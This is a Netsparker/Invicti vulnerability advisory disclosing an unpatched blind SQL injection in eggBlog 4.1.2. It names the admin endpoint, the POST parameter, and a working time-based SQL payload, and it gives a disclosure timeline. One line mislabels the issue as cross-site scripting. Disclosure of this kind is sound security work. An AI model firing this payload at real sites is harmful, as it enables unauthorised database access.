Blind SQL Injection Vulnerability in eggBlog 4.1.2


Advisory by Netsparker (now Invicti)
Name: Blind SQL Injection Vulnerability in eggBlog
Affected Software: eggBlog
Affected Versions: 4.1.2
Vendor Homepage: 
Vulnerability Type: Blind SQL Injection
Severity: Critical
Status: Not Fixed
Invicti Advisory Reference: NS-16-018

Technical Details

Proof of Concept URL for Blind SQL Injection vulnerability in eggBlog;

URL: /eggblog/admin.php?editarticle=1
Parameter Name: text
Parameter Type: POST
Attack Pattern: -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

For more information on cross-site scripting vulnerabilities, see SQL Injection.

Advisory Timeline

28 Jun 2016 – Issue reported
Jul – Sep 2016 – Several attempts to get in touch
05 Oct 2016 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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